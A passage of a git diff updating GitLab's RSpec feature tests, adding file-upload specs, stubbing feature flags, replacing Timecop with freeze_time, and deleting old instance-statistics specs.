+ let!(:backlog_list) { create(:backlog_list, board: group_board) }
+
+ before do
+ sign_in(user)
+ visit group_board_path(group, group_board)
+ wait_for_requests
+ end
+
+ it 'displays new issue button in open list' do
+ expect(first('.board')).to have_selector('.issue-count-badge-add-button', count: 1)
+ end
+
+ it 'does not display new issue button in label list' do
+ page.within('.board.is-draggable') do
+ expect(page).not_to have_selector('.issue-count-badge-add-button')
+ end
end
end
end
diff --git a/spec/features/boards/sidebar_spec.rb b/spec/features/boards/sidebar_spec.rb
index 65f2e5dfc0d..4b4cb444903 100644
--- a/spec/features/boards/sidebar_spec.rb
+++ b/spec/features/boards/sidebar_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'Issue Boards', :js do
let(:application_settings) { {} }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
before do
diff --git a/spec/features/cycle_analytics_spec.rb b/spec/features/cycle_analytics_spec.rb
index 0294ebbe13f..b63079777cb 100644
--- a/spec/features/cycle_analytics_spec.rb
+++ b/spec/features/cycle_analytics_spec.rb
@@ -3,9 +3,9 @@
require 'spec_helper'
RSpec.describe 'Value Stream Analytics', :js do
- let(:user) { create(:user) }
- let(:guest) { create(:user) }
- let(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:guest) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
let(:issue) { create(:issue, project: project, created_at: 2.days.ago) }
let(:milestone) { create(:milestone, project: project) }
let(:mr) { create_merge_request_closing_issue(user, project, issue, commit_message: "References #{issue.to_reference}") }
@@ -13,9 +13,11 @@ RSpec.describe 'Value Stream Analytics', :js do
context 'as an allowed user' do
context 'when project is new' do
- before do
+ before(:all) do
project.add_maintainer(user)
+ end
+ before do
sign_in(user)
visit project_cycle_analytics_path(project)
@@ -74,9 +76,6 @@ RSpec.describe 'Value Stream Analytics', :js do
click_stage('Staging')
expect_build_to_be_present
-
- click_stage('Total')
- expect_issue_to_be_present
end
context "when I change the time period observed" do
diff --git a/spec/features/dashboard/datetime_on_tooltips_spec.rb b/spec/features/dashboard/datetime_on_tooltips_spec.rb
index ed28ec6099d..a3eacd6147c 100644
--- a/spec/features/dashboard/datetime_on_tooltips_spec.rb
+++ b/spec/features/dashboard/datetime_on_tooltips_spec.rb
@@ -3,44 +3,53 @@
require 'spec_helper'
RSpec.describe 'Tooltips on .timeago dates', :js do
- let(:user) { create(:user) }
- let(:project) { create(:project, name: 'test', namespace: user.namespace) }
- let(:created_date) { Date.yesterday.to_time }
- let(:expected_format) { created_date.in_time_zone.strftime('%b %-d, %Y %l:%M%P') }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, name: 'test', namespace: user.namespace) }
+ let(:created_date) { 1.day.ago.beginning_of_minute - 1.hour }
+
+ before_all do
+ project.add_maintainer(user)
+ end
context 'on the activity tab' do
before do
- project.add_maintainer(user)
-
Event.create( project: project, author_id: user.id, action: :joined,
updated_at: created_date, created_at: created_date)
sign_in user
visit user_activity_path(user)
wait_for_requests
-
- page.find('.js-timeago').hover
end
it 'has the datetime formated correctly' do
- expect(page).to have_selector('.local-timeago', text: expected_format)
+ expect(page).to have_selector('.js-timeago', text: '1 day ago')
+
+ page.find('.js-timeago').hover
+
+ expect(datetime_in_tooltip).to eq(created_date)
end
end
context 'on the snippets tab' do
before do
- project.add_maintainer(user)
create(:snippet, author: user, updated_at: created_date, created_at: created_date)
sign_in user
visit user_snippets_path(user)
wait_for_requests
-
- page.find('.js-timeago.snippet-created-ago').hover
end
it 'has the datetime formated correctly' do
- expect(page).to have_selector('.local-timeago', text: expected_format)
+ expect(page).to have_selector('.js-timeago.snippet-created-ago', text: '1 day ago')
+
+ page.find('.js-timeago.snippet-created-ago').hover
+
+ expect(datetime_in_tooltip).to eq(created_date)
end
end
+
+ def datetime_in_tooltip
+ datetime_text = page.find('.local-timeago').text
+ DateTime.parse(datetime_text)
+ end
end
diff --git a/spec/features/dashboard/instance_statistics_spec.rb b/spec/features/dashboard/instance_statistics_spec.rb
deleted file mode 100644
index f85b8454113..00000000000
--- a/spec/features/dashboard/instance_statistics_spec.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Showing analytics' do
- before do
- sign_in user if user
- end
-
- # Using a path that is publicly accessible
- subject { visit explore_projects_path }
-
- context 'for unauthenticated users' do
- let(:user) { nil }
-
- it 'does not show the Analytics link' do
- subject
-
- expect(page).not_to have_link('Analytics')
- end
- end
-
- context 'for regular users' do
- let(:user) { create(:user) }
-
- context 'when instance statistics are publicly available' do
- before do
- stub_application_setting(instance_statistics_visibility_private: false)
- end
-
- it 'shows the analytics link' do
- subject
-
- expect(page).to have_link('Analytics')
- end
- end
-
- context 'when instance statistics are not publicly available' do
- before do
- stub_application_setting(instance_statistics_visibility_private: true)
- end
-
- it 'does not show the analytics link' do
- subject
-
- # Skipping this test on EE as there is an EE specifc spec for this functionality
- # ee/spec/features/dashboards/analytics_spec.rb
- skip if Gitlab.ee?
-
- expect(page).not_to have_link('Analytics')
- end
- end
- end
-
- context 'for admins' do
- let(:user) { create(:admin) }
-
- it 'shows the analytics link' do
- subject
-
- expect(page).to have_link('Analytics')
- end
- end
-end
diff --git a/spec/features/expand_collapse_diffs_spec.rb b/spec/features/expand_collapse_diffs_spec.rb
index 6b8df8467e5..e705f2916da 100644
--- a/spec/features/expand_collapse_diffs_spec.rb
+++ b/spec/features/expand_collapse_diffs_spec.rb
@@ -7,11 +7,6 @@ RSpec.describe 'Expand and collapse diffs', :js do
let(:project) { create(:project, :repository) }
before do
- # Set the limits to those when these specs were written, to avoid having to
- # update the test repo every time we change them.
- allow(Gitlab::Git::Diff).to receive(:size_limit).and_return(100.kilobytes)
- allow(Gitlab::Git::Diff).to receive(:collapse_limit).and_return(10.kilobytes)
-
sign_in(create(:admin))
# Ensure that undiffable.md is in .gitattributes
diff --git a/spec/features/file_uploads/ci_artifact_spec.rb b/spec/features/file_uploads/ci_artifact_spec.rb
new file mode 100644
index 00000000000..4f3b6c90ad4
--- /dev/null
+++ b/spec/features/file_uploads/ci_artifact_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload ci artifact', :api, :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project, ref: 'master') }
+ let_it_be(:runner) { create(:ci_runner, :project, projects: [project]) }
+ let_it_be(:job) { create(:ci_build, :running, user: user, project: project, pipeline: pipeline, runner_id: runner.id) }
+
+ let(:api_path) { "/jobs/#{job.id}/artifacts?token=#{job.token}" }
+ let(:url) { capybara_url(api(api_path)) }
+ let(:file) { fixture_file_upload('spec/fixtures/ci_build_artifacts.zip') }
+
+ subject do
+ HTTParty.post(url, body: { file: file })
+ end
+
+ RSpec.shared_examples 'for ci artifact' do
+ it { expect { subject }.to change { ::Ci::JobArtifact.count }.by(2) }
+
+ it { expect(subject.code).to eq(201) }
+ end
+
+ it_behaves_like 'handling file uploads', 'for ci artifact'
+end
diff --git a/spec/features/file_uploads/git_lfs_spec.rb b/spec/features/file_uploads/git_lfs_spec.rb
new file mode 100644
index 00000000000..b902d7ab702
--- /dev/null
+++ b/spec/features/file_uploads/git_lfs_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload a git lfs object', :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+
+ let(:file) { fixture_file_upload('spec/fixtures/banana_sample.gif') }
+ let(:oid) { Digest::SHA256.hexdigest(File.read(file.path)) }
+ let(:size) { file.size }
+ let(:url) { capybara_url("/#{project.namespace.path}/#{project.path}.git/gitlab-lfs/objects/#{oid}/#{size}") }
+ let(:headers) { { 'Content-Type' => 'application/octet-stream' } }
+
+ subject do
+ HTTParty.put(
+ url,
+ headers: headers,
+ basic_auth: { user: user.username, password: personal_access_token.token },
+ body: file.read
+ )
+ end
+
+ before do
+ stub_lfs_setting(enabled: true)
+ end
+
+ RSpec.shared_examples 'for a git lfs object' do
+ it { expect { subject }.to change { LfsObject.count }.by(1) }
+ it { expect(subject.code).to eq(200) }
+ end
+
+ it_behaves_like 'handling file uploads', 'for a git lfs object'
+end
diff --git a/spec/features/file_uploads/graphql_add_design_spec.rb b/spec/features/file_uploads/graphql_add_design_spec.rb
new file mode 100644
index 00000000000..f805ea86b4c
--- /dev/null
+++ b/spec/features/file_uploads/graphql_add_design_spec.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload a design through graphQL', :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:query) do
+ "
+ mutation uploadDesign($files: [Upload!]!, $projectPath: ID!, $iid: ID!) {
+ designManagementUpload(input: { projectPath: $projectPath, iid: $iid, files: $files}) {
+ clientMutationId,
+ errors
+ }
+ }
+ "
+ end
+
+ let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+ let_it_be(:design) { create(:design) }
+ let_it_be(:operations) { { "operationName": "uploadDesign", "variables": { "files": [], "projectPath": design.project.full_path, "iid": design.issue.iid }, "query": query }.to_json }
+ let_it_be(:map) { { "1": ["variables.files.0"] }.to_json }
+
+ let(:url) { capybara_url("/api/graphql?private_token=#{personal_access_token.token}") }
+ let(:file) { fixture_file_upload('spec/fixtures/dk.png') }
+
+ subject do
+ HTTParty.post(
+ url,
+ body: {
+ operations: operations,
+ map: map,
+ "1": file
+ }
+ )
+ end
+
+ before do
+ stub_lfs_setting(enabled: true)
+ end
+
+ RSpec.shared_examples 'for a design upload through graphQL' do
+ it 'creates proper objects' do
+ expect { subject }
+ .to change { ::DesignManagement::Design.count }.by(1)
+ .and change { ::LfsObject.count }.by(1)
+ end
+
+ it { expect(subject.code).to eq(200) }
+ end
+
+ it_behaves_like 'handling file uploads', 'for a design upload through graphQL'
+end
diff --git a/spec/features/file_uploads/group_import_spec.rb b/spec/features/file_uploads/group_import_spec.rb
new file mode 100644
index 00000000000..0f9d05c3975
--- /dev/null
+++ b/spec/features/file_uploads/group_import_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload a group export archive', :api, :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+ let(:api_path) { '/groups/import' }
+ let(:url) { capybara_url(api(api_path, personal_access_token: personal_access_token)) }
+ let(:file) { fixture_file_upload('spec/fixtures/group_export.tar.gz') }
+
+ subject do
+ HTTParty.post(
+ url,
+ body: {
+ path: 'test-import-group',
+ name: 'test-import-group',
+ file: file
+ }
+ )
+ end
+
+ RSpec.shared_examples 'for a group export archive' do
+ it { expect { subject }.to change { Group.count }.by(1) }
+
+ it { expect(subject.code).to eq(202) }
+ end
+
+ it_behaves_like 'handling file uploads', 'for a group export archive'
+end
diff --git a/spec/features/file_uploads/maven_package_spec.rb b/spec/features/file_uploads/maven_package_spec.rb
new file mode 100644
index 00000000000..c873a0e9a36
--- /dev/null
+++ b/spec/features/file_uploads/maven_package_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload a maven package', :api, :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+
+ let(:api_path) { "/projects/#{project.id}/packages/maven/com/example/my-app/1.0/my-app-1.0-20180724.124855-1.jar" }
+ let(:url) { capybara_url(api(api_path, personal_access_token: personal_access_token)) }
+ let(:file) { fixture_file_upload('spec/fixtures/dk.png') }
+
+ subject { HTTParty.put(url, body: file.read) }
+
+ RSpec.shared_examples 'for a maven package' do
+ it 'creates package files' do
+ expect { subject }
+ .to change { Packages::Package.maven.count }.by(1)
+ .and change { Packages::PackageFile.count }.by(1)
+ end
+
+ it { expect(subject.code).to eq(200) }
+ end
+
+ it_behaves_like 'handling file uploads', 'for a maven package'
+end
diff --git a/spec/features/file_uploads/nuget_package_spec.rb b/spec/features/file_uploads/nuget_package_spec.rb
new file mode 100644
index 00000000000..fb1e0a54744
--- /dev/null
+++ b/spec/features/file_uploads/nuget_package_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload a nuget package', :api, :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+
+ let(:api_path) { "/projects/#{project.id}/packages/nuget/" }
+ let(:url) { capybara_url(api(api_path)) }
+ let(:file) { fixture_file_upload('spec/fixtures/dk.png') }
+
+ subject do
+ HTTParty.put(
+ url,
+ basic_auth: { user: user.username, password: personal_access_token.token },
+ body: { package: file }
+ )
+ end
+
+ RSpec.shared_examples 'for a nuget package' do
+ it 'creates package files' do
+ expect { subject }
+ .to change { Packages::Package.nuget.count }.by(1)
+ .and change { Packages::PackageFile.count }.by(1)
+ end
+
+ it { expect(subject.code).to eq(201) }
+ end
+
+ it_behaves_like 'handling file uploads', 'for a nuget package'
+end
diff --git a/spec/features/file_uploads/project_import_spec.rb b/spec/features/file_uploads/project_import_spec.rb
new file mode 100644
index 00000000000..1bf16f46c63
--- /dev/null
+++ b/spec/features/file_uploads/project_import_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload a project export archive', :api, :js do
+ include_context 'file upload requests helpers'
+
+ let_it_be(:user) { create(:user, :admin) }
+ let_it_be(:personal_access_token) { create(:personal_access_token, user: user) }
+ let(:api_path) { '/projects/import' }
+ let(:url) { capybara_url(api(api_path, personal_access_token: personal_access_token)) }
+ let(:file) { fixture_file_upload('spec/features/projects/import_export/test_project_export.tar.gz') }
+
+ subject do
+ HTTParty.post(
+ url,
+ body: {
+ path: 'test-import',
+ file: file
+ }
+ )
+ end
+
+ RSpec.shared_examples 'for a project export archive' do
+ it { expect { subject }.to change { Project.count }.by(1) }
+
+ it { expect(subject.code).to eq(201) }
+ end
+
+ it_behaves_like 'handling file uploads', 'for a project export archive'
+end
diff --git a/spec/features/file_uploads/user_avatar_spec.rb b/spec/features/file_uploads/user_avatar_spec.rb
new file mode 100644
index 00000000000..043115be61a
--- /dev/null
+++ b/spec/features/file_uploads/user_avatar_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Upload a user avatar', :js do
+ let_it_be(:user, reload: true) { create(:user) }
+ let(:file) { fixture_file_upload('spec/fixtures/banana_sample.gif') }
+
+ before do
+ sign_in(user)
+ visit(profile_path)
+ attach_file('user_avatar-trigger', file.path, make_visible: true)
+ click_button 'Set new profile picture'
+ end
+
+ subject do
+ click_button 'Update profile settings'
+ end
+
+ RSpec.shared_examples 'for a user avatar' do
+ it 'uploads successfully' do
+ expect(user.avatar.file).to eq nil
+ subject
+
+ expect(page).to have_content 'Profile was successfully updated'
+ expect(user.reload.avatar.file).to be_present
+ expect(user.avatar).to be_instance_of AvatarUploader
+ expect(current_path).to eq(profile_path)
+ end
+ end
+
+ it_behaves_like 'handling file uploads', 'for a user avatar'
+end
diff --git a/spec/features/groups/board_sidebar_spec.rb b/spec/features/groups/board_sidebar_spec.rb
index 3bbeed10948..690d661ba2f 100644
--- a/spec/features/groups/board_sidebar_spec.rb
+++ b/spec/features/groups/board_sidebar_spec.rb
@@ -19,6 +19,8 @@ RSpec.describe 'Group Issue Boards', :js do
let(:card) { find('.board:nth-child(1)').first('.board-card') }
before do
+ # stubbing until sidebar work is done: https://gitlab.com/gitlab-org/gitlab/-/issues/230711
+ stub_feature_flags(graphql_board_lists: false)
sign_in(user)
visit group_board_path(group, board)
diff --git a/spec/features/groups/clusters/user_spec.rb b/spec/features/groups/clusters/user_spec.rb
index c6e5da92160..90253451d6b 100644
--- a/spec/features/groups/clusters/user_spec.rb
+++ b/spec/features/groups/clusters/user_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe 'User Cluster', :js do
visit group_clusters_path(group)
click_link 'Add Kubernetes cluster'
- click_link 'Add existing cluster'
+ click_link 'Connect existing cluster'
end
context 'when user filled form with valid parameters' do
diff --git a/spec/features/groups/import_export/import_file_spec.rb b/spec/features/groups/import_export/import_file_spec.rb
index ee4f2740f9f..f117b5d56e9 100644
--- a/spec/features/groups/import_export/import_file_spec.rb
+++ b/spec/features/groups/import_export/import_file_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe 'Import/Export - Group Import', :js do
fill_in :group_name, with: group_name
find('#import-group-tab').click
- expect(page).to have_content 'GitLab group export'
+ expect(page).to have_content 'Import a GitLab group export file'
attach_file(file) do
find('.js-filepicker-button').click
end
diff --git a/spec/features/groups/members/filter_members_spec.rb b/spec/features/groups/members/filter_members_spec.rb
index 643c8407578..d667690af29 100644
--- a/spec/features/groups/members/filter_members_spec.rb
+++ b/spec/features/groups/members/filter_members_spec.rb
@@ -10,6 +10,8 @@ RSpec.describe 'Groups > Members > Filter members' do
let(:nested_group) { create(:group, parent: group) }
before do
+ stub_feature_flags(vue_group_members_list: false)
+
group.add_owner(user)
group.add_maintainer(user_with_2fa)
nested_group.add_maintainer(nested_group_user)
diff --git a/spec/features/groups/members/leave_group_spec.rb b/spec/features/groups/members/leave_group_spec.rb
index fecc90f20c7..9eb5cc15c5e 100644
--- a/spec/features/groups/members/leave_group_spec.rb
+++ b/spec/features/groups/members/leave_group_spec.rb
@@ -8,6 +8,8 @@ RSpec.describe 'Groups > Members > Leave group' do
let(:group) { create(:group) }
before do
+ stub_feature_flags(vue_group_members_list: false)
+
gitlab_sign_in(user)
end
diff --git a/spec/features/groups/members/list_members_spec.rb b/spec/features/groups/members/list_members_spec.rb
index 415c6927320..bcec2b50a24 100644
--- a/spec/features/groups/members/list_members_spec.rb
+++ b/spec/features/groups/members/list_members_spec.rb
@@ -12,6 +12,8 @@ RSpec.describe 'Groups > Members > List members' do
let(:nested_group) { create(:group, parent: group) }
before do
+ stub_feature_flags(vue_group_members_list: false)
+
sign_in(user1)
end
diff --git a/spec/features/groups/members/manage_groups_spec.rb b/spec/features/groups/members/manage_groups_spec.rb
index faf455e4ed9..e3bbbd4d73b 100644
--- a/spec/features/groups/members/manage_groups_spec.rb
+++ b/spec/features/groups/members/manage_groups_spec.rb
@@ -11,6 +11,8 @@ RSpec.describe 'Groups > Members > Manage groups', :js do
let(:shared_group) { create(:group) }
before do
+ stub_feature_flags(vue_group_members_list: false)
+
shared_group.add_owner(user)
sign_in(user)
end
diff --git a/spec/features/groups/members/manage_members_spec.rb b/spec/features/groups/members/manage_members_spec.rb
index 0267bea2f53..aedb7c170f8 100644
--- a/spec/features/groups/members/manage_members_spec.rb
+++ b/spec/features/groups/members/manage_members_spec.rb
@@ -11,6 +11,8 @@ RSpec.describe 'Groups > Members > Manage members' do
let(:group) { create(:group) }
before do
+ stub_feature_flags(vue_group_members_list: false)
+
sign_in(user1)
end
diff --git a/spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb b/spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb
index f80925186ed..d94cc85f411 100644
--- a/spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb
+++ b/spec/features/groups/members/master_adds_member_with_expiration_date_spec.rb
@@ -11,6 +11,8 @@ RSpec.describe 'Groups > Members > Owner adds member with expiration date', :js
let(:group) { create(:group) }
before do
+ stub_feature_flags(vue_group_members_list: false)
+
group.add_owner(user1)
sign_in(user1)
end
diff --git a/spec/features/groups/members/master_manages_access_requests_spec.rb b/spec/features/groups/members/master_manages_access_requests_spec.rb
index 71c9b280ebe..44fd7380b79 100644
--- a/spec/features/groups/members/master_manages_access_requests_spec.rb
+++ b/spec/features/groups/members/master_manages_access_requests_spec.rb
@@ -3,6 +3,10 @@
require 'spec_helper'
RSpec.describe 'Groups > Members > Maintainer manages access requests' do
+ before do
+ stub_feature_flags(vue_group_members_list: false)
+ end
+
it_behaves_like 'Maintainer manages access requests' do
let(:has_tabs) { true }
let(:entity) { create(:group, :public) }
diff --git a/spec/features/groups/members/search_members_spec.rb b/spec/features/groups/members/search_members_spec.rb
index ad4f5c0b579..a95b59cece1 100644
--- a/spec/features/groups/members/search_members_spec.rb
+++ b/spec/features/groups/members/search_members_spec.rb
@@ -14,6 +14,8 @@ RSpec.describe 'Search group member' do
end
before do
+ stub_feature_flags(vue_group_members_list: false)
+
sign_in(user)
visit group_group_members_path(guest_group)
end
diff --git a/spec/features/groups/members/sort_members_spec.rb b/spec/features/groups/members/sort_members_spec.rb
index cfc0e421aeb..d940550b18a 100644
--- a/spec/features/groups/members/sort_members_spec.rb
+++ b/spec/features/groups/members/sort_members_spec.rb
@@ -8,6 +8,8 @@ RSpec.describe 'Groups > Members > Sort members' do
let(:group) { create(:group) }
before do
+ stub_feature_flags(vue_group_members_list: false)
+
create(:group_member, :owner, user: owner, group: group, created_at: 5.days.ago)
create(:group_member, :developer, user: developer, group: group, created_at: 3.days.ago)
diff --git a/spec/features/groups/milestone_spec.rb b/spec/features/groups/milestone_spec.rb
index 2217bd9d6b5..3ae9a2b7555 100644
--- a/spec/features/groups/milestone_spec.rb
+++ b/spec/features/groups/milestone_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe 'Group milestones' do
let_it_be(:user) { create(:group_member, :maintainer, user: create(:user), group: group ).user }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
before do
diff --git a/spec/features/groups/navbar_spec.rb b/spec/features/groups/navbar_spec.rb
index 6803b3a5785..60f1c404e78 100644
--- a/spec/features/groups/navbar_spec.rb
+++ b/spec/features/groups/navbar_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'Group navbar' do
include NavbarStructureHelper
+ include WikiHelpers
include_context 'group navbar structure'
@@ -32,6 +33,7 @@ RSpec.describe 'Group navbar' do
nav_item: _('Merge Requests'),
nav_sub_items: []
},
+ (push_rules_nav_item if Gitlab.ee?),
{
nav_item: _('Kubernetes'),
nav_sub_items: []
@@ -47,9 +49,8 @@ RSpec.describe 'Group navbar' do
before do
insert_package_nav(_('Kubernetes'))
- stub_feature_flags(group_push_rules: false)
stub_feature_flags(group_iterations: false)
- stub_feature_flags(group_wiki: false)
+ stub_group_wikis(false)
group.add_maintainer(user)
sign_in(user)
end
diff --git a/spec/features/import/manifest_import_spec.rb b/spec/features/import/manifest_import_spec.rb
index 9c359e932d5..cfd0c7e210f 100644
--- a/spec/features/import/manifest_import_spec.rb
+++ b/spec/features/import/manifest_import_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe 'Import multiple repositories by uploading a manifest file', :js
attach_file('manifest', Rails.root.join('spec/fixtures/aosp_manifest.xml'))
click_on 'List available repositories'
- expect(page).to have_button('Import all repositories')
+ expect(page).to have_button('Import 660 repositories')
expect(page).to have_content('https://android-review.googlesource.com/platform/build/blueprint')
end
diff --git a/spec/features/instance_statistics/cohorts_spec.rb b/spec/features/instance_statistics/cohorts_spec.rb
deleted file mode 100644
index 1f112e1831c..00000000000
--- a/spec/features/instance_statistics/cohorts_spec.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Cohorts page' do
- before do
- sign_in(create(:admin))
-
- stub_application_setting(usage_ping_enabled: true)
- end
-
- it 'See users count per month' do
- create_list(:user, 2)
-
- visit instance_statistics_cohorts_path
-
- expect(page).to have_content("#{Time.now.strftime('%b %Y')} 3 0")
- end
-end
diff --git a/spec/features/instance_statistics/dev_ops_score_spec.rb b/spec/features/instance_statistics/dev_ops_score_spec.rb
deleted file mode 100644
index da87aedab5c..00000000000
--- a/spec/features/instance_statistics/dev_ops_score_spec.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'DevOps Score' do
- before do
- sign_in(create(:admin))
- end
-
- it 'has dismissable intro callout', :js do
- visit instance_statistics_dev_ops_score_index_path
-
- expect(page).to have_content 'Introducing Your DevOps Score'
-
- find('.js-close-callout').click
-
- expect(page).not_to have_content 'Introducing Your DevOps Score'
- end
-
- context 'when usage ping is disabled' do
- before do
- stub_application_setting(usage_ping_enabled: false)
- end
-
- it 'shows empty state' do
- visit instance_statistics_dev_ops_score_index_path
-
- expect(page).to have_content('Usage ping is not enabled')
- end
-
- it 'hides the intro callout' do
- visit instance_statistics_dev_ops_score_index_path
-
- expect(page).not_to have_content 'Introducing Your DevOps Score'
- end
- end
-
- context 'when there is no data to display' do
- it 'shows empty state' do
- stub_application_setting(usage_ping_enabled: true)
-
- visit instance_statistics_dev_ops_score_index_path
-
- expect(page).to have_content('Data is still calculating')
- end
- end
-
- context 'when there is data to display' do
- it 'shows numbers for each metric' do
- stub_application_setting(usage_ping_enabled: true)
- create(:dev_ops_score_metric)
-
- visit instance_statistics_dev_ops_score_index_path
-
- expect(page).to have_content(
- 'Issues created per active user 1.2 You 9.3 Lead 13.3%'
- )
- end
- end
-end
diff --git a/spec/features/instance_statistics/instance_statistics_spec.rb b/spec/features/instance_statistics/instance_statistics_spec.rb
deleted file mode 100644
index 7695bf7874b..00000000000
--- a/spec/features/instance_statistics/instance_statistics_spec.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Cohorts page', :js do
- before do
- sign_in(create(:admin))
- end
-
- it 'hides cohorts nav button when usage ping is disabled' do
- stub_application_setting(usage_ping_enabled: false)
-
- visit instance_statistics_root_path
-
- expect(find('.nav-sidebar')).not_to have_content('Cohorts')
- end
-
- it 'shows cohorts nav button when usage ping is enabled' do
- stub_application_setting(usage_ping_enabled: true)
-
- visit instance_statistics_root_path
-
- expect(find('.nav-sidebar')).to have_content('Cohorts')
- end
-end
diff --git a/spec/features/invites_spec.rb b/spec/features/invites_spec.rb
index e7bcd7876ea..3954de56eea 100644
--- a/spec/features/invites_spec.rb
+++ b/spec/features/invites_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Invites', :aggregate_failures do
+RSpec.describe 'Group or Project invitations', :aggregate_failures do
let(:user) { create(:user, email: 'user@example.com') }
let(:owner) { create(:user, name: 'John Doe') }
let(:group) { create(:group, name: 'Owned') }
@@ -26,7 +26,6 @@ RSpec.describe 'Invites', :aggregate_failures do
fill_in 'new_user_name', with: new_user.name
fill_in 'new_user_username', with: new_user.username
fill_in 'new_user_email', with: new_user.email
- fill_in 'new_user_email_confirmation', with: new_user.email
fill_in 'new_user_password', with: new_user.password
click_button 'Register'
end
@@ -38,6 +37,11 @@ RSpec.describe 'Invites', :aggregate_failures do
click_button 'Sign in'
end
+ def fill_in_welcome_form
+ select 'Software Developer', from: 'user_role'
+ click_button 'Get started!'
+ end
+
context 'when signed out' do
before do
visit invite_path(group_invite.raw_invite_token)
@@ -94,6 +98,7 @@ RSpec.describe 'Invites', :aggregate_failures do
it 'signs up and redirects to the dashboard page with all the projects/groups invitations automatically accepted' do
fill_in_sign_up_form(new_user)
+ fill_in_welcome_form
expect(current_path).to eq(dashboard_projects_path)
expect(page).to have_content(project.full_name)
@@ -108,6 +113,7 @@ RSpec.describe 'Invites', :aggregate_failures do
it 'signs up and redirects to the invitation page' do
fill_in_sign_up_form(new_user)
+ fill_in_welcome_form
expect(current_path).to eq(invite_path(group_invite.raw_invite_token))
end
@@ -126,6 +132,7 @@ RSpec.describe 'Invites', :aggregate_failures do
fill_in_sign_up_form(new_user)
confirm_email(new_user)
fill_in_sign_in_form(new_user)
+ fill_in_welcome_form
expect(current_path).to eq(root_path)
expect(page).to have_content(project.full_name)
@@ -143,6 +150,7 @@ RSpec.describe 'Invites', :aggregate_failures do
it 'signs up and redirects to root page with all the project/groups invitation automatically accepted' do
fill_in_sign_up_form(new_user)
+ fill_in_welcome_form
confirm_email(new_user)
expect(current_path).to eq(root_path)
@@ -156,6 +164,7 @@ RSpec.describe 'Invites', :aggregate_failures do
it "doesn't accept invitations until the user confirms their email" do
fill_in_sign_up_form(new_user)
+ fill_in_welcome_form
sign_in(owner)
visit project_project_members_path(project)
@@ -175,6 +184,7 @@ RSpec.describe 'Invites', :aggregate_failures do
fill_in_sign_up_form(new_user)
confirm_email(new_user)
fill_in_sign_in_form(new_user)
+ fill_in_welcome_form
expect(current_path).to eq(invite_path(group_invite.raw_invite_token))
end
@@ -188,6 +198,7 @@ RSpec.describe 'Invites', :aggregate_failures do
it 'signs up and redirects to the invitation page' do
fill_in_sign_up_form(new_user)
+ fill_in_welcome_form
expect(current_path).to eq(invite_path(group_invite.raw_invite_token))
end
diff --git a/spec/features/issuables/close_reopen_report_toggle_spec.rb b/spec/features/issuables/close_reopen_report_toggle_spec.rb
index f442b25f593..5ea89a7984f 100644
--- a/spec/features/issuables/close_reopen_report_toggle_spec.rb
+++ b/spec/features/issuables/close_reopen_report_toggle_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe 'Issuables Close/Reopen/Report toggle' do
+ include IssuablesHelper
+
let(:user) { create(:user) }
shared_examples 'an issuable close/reopen/report toggle' do
@@ -27,19 +29,11 @@ RSpec.describe 'Issuables Close/Reopen/Report toggle' do
